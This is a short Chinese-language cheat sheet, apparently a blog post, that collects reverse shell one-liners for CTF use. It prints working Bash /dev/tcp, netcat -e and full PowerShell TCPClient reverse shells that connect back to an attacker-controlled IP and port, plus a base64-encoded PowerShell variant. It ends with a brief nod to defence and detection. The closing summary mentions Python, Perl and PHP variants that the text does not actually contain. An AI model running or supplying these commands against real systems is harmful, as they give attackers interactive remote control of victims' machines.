2021-09-05 21:22:58
反弹Shell是CTF(Capture The Flag)中常见的攻击技术,攻击者通过在目标主机上执行特定命令,使其主动连接攻击者的服务器,从而获取一个交互式的Shell。以下是对反弹Shell技术的总结,包括多种语言的实现方式:
1. Bash反弹Shell基本命令:
bash -i >& /dev/tcp/ip/port 0>&1这条命令将Bash的输入、输出和错误重定向到指定的IP和端口,实现反弹Shell。
示例:
bash -i >& /dev/tcp/192.168.20.151/7777 0>&1基本命令:
nc -e /bin/sh ip portNetcat(nc)是一个网络工具,可以通过-e参数指定反弹后执行的程序。
注意:某些版本的Netcat不支持-e参数,可以使用其他方法替代。
基本命令:
$c=New-Object Net.Sockets.TCPClient("ip",port);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+"PS "+(pwd).Path+"> ";$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()PowerShell通过.NET的TCPClient类创建Socket连接,并实现交互式的反弹Shell。
编码执行:
powershell -nop -enc {reverse shell command}可以将上述PowerShell命令进行Base64编码,然后通过-enc参数执行。
反弹Shell是CTF中常用的技术,攻击者通过多种语言(如Bash、Python、Perl、PHP、PowerShell等)实现目标主机与攻击者服务器的连接,从而获取Shell权限。在实际应用中,需要根据目标主机的环境选择合适的反弹Shell方式,并注意防范和检测此类攻击行为。